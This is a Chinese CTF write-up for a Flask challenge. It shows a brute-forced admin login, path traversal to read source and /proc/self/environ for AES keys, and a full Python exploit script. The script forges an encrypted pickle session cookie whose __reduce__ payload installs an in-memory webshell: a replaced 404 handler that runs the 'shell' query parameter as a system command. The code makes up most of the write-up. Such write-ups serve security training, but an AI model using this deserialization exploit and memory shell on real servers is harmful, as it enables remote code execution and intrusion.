登录页面
进行爆破,得到账号密码
admin:admin123
登陆成功后
查看源码,有个hint:session_pickle,猜测是python pickle反序列化
抓个包看看,filename参数
读取源码
app.py
from flask import Flask, request, redirect, make_response, render_template from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes from cryptography.hazmat.backends import default_backend from cryptography.hazmat.primitives import padding import pickle import base64 import time import os app = Flask(__name__) def generate_key_iv(): key = os.environ.get('SECRET_key').encode()//这是我们需要获取的东西,从系统环境中读取key和iv iv = os.environ.get('SECRET_iv').encode() return key, iv def aes_encrypt_decrypt(data, key, iv, mode='encrypt'): cipher = Cipher( algorithms.AES(key), modes.CBC(iv), backend=default_backend() ) if mode == 'encrypt': encryptor = cipher.encryptor() padder = padding.PKCS7(//对明文做PKCS7填充 algorithms.AES.block_size ).padder() padded_data = ( padder.update(data.encode()) + padder.finalize() ) result = (//加密二进制数据 encryptor.update(padded_data) + encryptor.finalize() ) return base64.b64encode(result).decode()//密文做base64编码传为字符串 elif mode == 'decrypt': decryptor = cipher.decryptor() encrypted_data_bytes = base64.b64decode(data)//base64解码得到AES密文 decrypted_data = (//AES-CBC解密得到带填充的明文 decryptor.update(encrypted_data_bytes) + decryptor.finalize() ) unpadder = padding.PKCS7(//PKCS去填充 algorithms.AES.block_size ).unpadder() unpadded_data = ( unpadder.update(decrypted_data) + unpadder.finalize() ) return unpadded_data.decode()//解码为普通字符串返回 //整个 Session 是 Pickle 数据 → Base64 → AES-CBC 加密 → 放入 Cookie 的多层包装。 users = { "admin": "admin123", } def create_session(username): session_data = { "username": username, "expires": time.time() + 3600 } pickled = pickle.dumps(session_data)//pickle反序列化字典 pickled_data = base64.b64encode(pickled).decode('utf-8')//反序列化结果Base64编码 key, iv = generate_key_iv() session = aes_encrypt_decrypt(//AES加密base64字符串 key, iv, mode='encrypt' ) return session//登录成功,值会被设置到cookie中 def dowload_file(filename): path = os.path.join("static", filename)//没有过滤../ with open(path, 'rb') as f: data = f.read().decode('utf-8') return data def validate_session(cookie): try: key, iv = generate_key_iv() pickled = aes_encrypt_decrypt( cookie, key, iv, mode='decrypt'//解密cookie ) pickled_data = base64.b64decode(pickled) session_data = pickle.loads(pickled_data) if session_data["username"] != "admin"://校验admin,session是否过期 return False return ( session_data if session_data["expires"] > time.time() else False ) except: return False @app.route("/", methods=['GET', 'POST']) def index(): if "session" in request.cookies: session = validate_session( request.cookies["session"] ) if session: data = "" filename = request.form.get("filename")//接收前端的filename参数,可进行路径穿越 if filename: data = dowload_file(filename) return render_template( "index.html", name=session['username'], file_data=data ) return redirect("/login") @app.route("/login", methods=["GET", "POST"])//login接口 def login(): if request.method == "POST": username = request.form.get("username") password = request.form.get("password") if users.get(username) == password: resp = make_response( redirect("/") ) resp.set_cookie( "session", create_session(username) ) return resp return render_template( "login.html", error="Invalid username or password" ) return render_template("login.html") @app.route("/logout") def logout(): resp = make_response( redirect("/login") ) resp.delete_cookie("session") return resp if __name__ == "__main__": app.run( host="0.0.0.0", debug=False )key和iv是在环境变量里面的(从源码中得知),进行读取环境变量
def generate_key_iv(): key = os.environ.get('SECRET_key').encode()//这是我们需要获取的东西,从系统环境中读取key和iv iv = os.environ.get('SECRET_iv').encode() return key, ivpayload:filename=/proc/self/envsion
这里得到了secret_key和secret_iv
SECRET_key=ajwdopldwjdowpajdmslkmwjrfhgnbbv SECRET_iv=asdwdggiouewhgpw打内存马
内存马是无文件webshell,就是服务器上不会存在需要连接的webshell脚本文件
内存马的原理就是在web组件或者应用程序中,注册一层访问路由,访问者通过这层路由,来执行我们控制器中的代码
Pickle 本身允许在反序列化时执行任意 Python 代码
进行伪造session,生成cookie
import os import requests import pickle import base64 from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes from cryptography.hazmat.backends import default_backend from cryptography.hazmat.primitives import padding def aes_encrypt_decrypt(data, key, iv, mode='encrypt'): cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend()) if mode == 'encrypt': encryptor = cipher.encryptor() padder = padding.PKCS7(algorithms.AES.block_size).padder() padded_data = padder.update(data.encode()) + padder.finalize() result = encryptor.update(padded_data) + encryptor.finalize() return base64.b64encode(result).decode() elif mode == 'decrypt': decryptor = cipher.decryptor() encrypted_data_bytes = base64.b64decode(data) decrypted_data = decryptor.update(encrypted_data_bytes) + decryptor.finalize() unpadder = padding.PKCS7(algorithms.AES.block_size).unpadder() unpadded_data = unpadder.update(decrypted_data) + unpadder.finalize() return unpadded_data.decode() class A(): def __reduce__(self): return (exec,("global exc_class;global code;exc_class, code = app._get_exc_class_and_code(404);app.error_handler_spec[None][code][exc_class] = lambda a:__import__('os').popen(request.args.get('shell')).read()",)) def exp(url): a = A() pickled = pickle.dumps(a) print(pickled) key = b"ajwdopldwjdowpajdmslkmwjrfhgnbbv" iv = b"asdwdggiouewhgpw" pickled_data = base64.b64encode(pickled).decode('utf-8') payload=aes_encrypt_decrypt(pickled_data,key,iv,mode='encrypt') print(payload) Cookie={"session":payload} request = requests.post(url,cookies=Cookie) print(request) if __name__ == '__main__': url="http://node2.anna.nssctf.cn:20228/" exp(url)__reduce__() -> 反序列化的时候不会正常创建对象,而是执行指定的函数
pickled = pickle.dumps(a) 里面记录的是反序列化时调用 exec,参数为:"global exc_class ..."
global exc_class; global code; exc_class, code = app._get_exc_class_and_code(404); app.error_handler_spec[None][code][exc_class] = lambda a:__import__('os').popen(request.args.get('shell')).read()global exc_class;和global code;
声明了全局变量
exc_class:异常类;http:状态码
目的是让它们在函数或 lambda 中也可访问。 在 Flask 中用全局变量并不常见,但这里只是为了 exec 执行时作用域可用exc_class, code = app._get_exc_class_and_code(404);
_get_exc_class_and_code(404)是flask内部方法
exc_class->对应404的异常类 code->对应HTTP状态码,404 目的:定位 Flask 的 404 错误处理器,方便后面替换。app.error_handler_spec是flask内部存储错误处理函数的地方
目的是将404错误处理函数换掉,换成一个新的lambda
lambda a:__import__('os').popen(request.args.get('shell')).read()
执行流程:当flask遇到404时,参数a是原来异常对象(不用) request.args.get('shell')->从URL GET参数获取shell的值 __import__('os').popen()->执行系统命令 .read()->读取命令输出访问任意不存在的页面 + ?shell=命令->执行系统命令->返回命令输出
非预期:
payload:/proc/1/envsion,得到flag
参考文章:GHCTF_web_wp(个人出的题) | L的博客